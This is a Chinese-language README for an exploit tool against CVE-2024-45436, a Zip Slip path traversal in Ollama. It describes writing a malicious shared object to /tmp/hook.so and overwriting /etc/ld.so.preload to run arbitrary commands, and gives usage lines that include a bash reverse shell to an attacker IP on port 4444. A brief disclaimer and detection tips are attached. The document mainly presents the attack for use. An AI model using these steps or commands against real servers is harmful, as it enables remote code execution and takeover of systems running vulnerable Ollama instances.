
用于 CVE-2024-45436 的漏洞利用脚本
这是一个简洁高效的 Ollama ZIP 遍历漏洞 (CVE-2024-45436) 利用工具。
CVE-2024-45436 是 Ollama 0.1.47 版本之前存在的一个路径遍历漏洞(也称为 "Zip Slip")。该漏洞允许攻击者通过在 ZIP 文件解压操作过程中利用路径验证不当,将文件写入文件系统上的任意位置。
漏洞存在于 Ollama 的 model.go 文件中的 extractFromZipFile 函数,该函数负责提取模型文件。当 ZIP 文件包含带有目录遍历序列(../)的条目时,Ollama 会将这些文件解压到预期目录之外,从而允许攻击者覆盖关键系统文件。
本工具通过以下方式利用漏洞:
hook.so),其中包含可执行任意命令的代码../../../../../../../../../../etc/ld.so.preload - 用于预加载自定义共享对象../../../../../../../../../../tmp/hook.so - 恶意共享对象本身成功执行后,有效载荷将以 Ollama 服务相同的权限运行,可能获得 root 权限的远程代码执行。
python exp.py <目标URL> <命令>
目标URL:易受攻击的 Ollama 实例 URL(如 http://example.com:11434)命令:要在目标系统上执行的命令--no-cleanup:利用后不删除临时文件(用于调试)基本用法:
python exp.py http://目标服务器:11434 "id > /tmp/pwned"
反向 shell:
python exp.py http://目标服务器:11434 "bash -c 'bash -i >& /dev/tcp/攻击者IP/4444 0>&1'"
本工具仅供教育和授权安全测试目的使用。未经明确许可对系统进行未授权使用是非法和不道德的。作者对本软件的滥用不承担任何责任。
组织可以通过以下方式检测是否易受攻击:
/api/version 检查 Ollama 版本/etc/ld.so.preload 或 /tmp/hook.so 中的意外文件该漏洞利用了 Ollama 的 ZIP 文件解压过程中的路径验证不当。当通过 API 加载模型时,应用程序从 ZIP 归档中提取文件而不正确地验证文件路径,从而允许目录遍历攻击。
Linux 中的 ld.so.preload 文件用于指定应在所有其他库之前加载的共享库。通过写入此文件,攻击者可以确保其恶意库被任何新进程加载,从而有效地劫持程序执行。
本项目采用 MIT 许可证 - 详见 LICENSE 文件。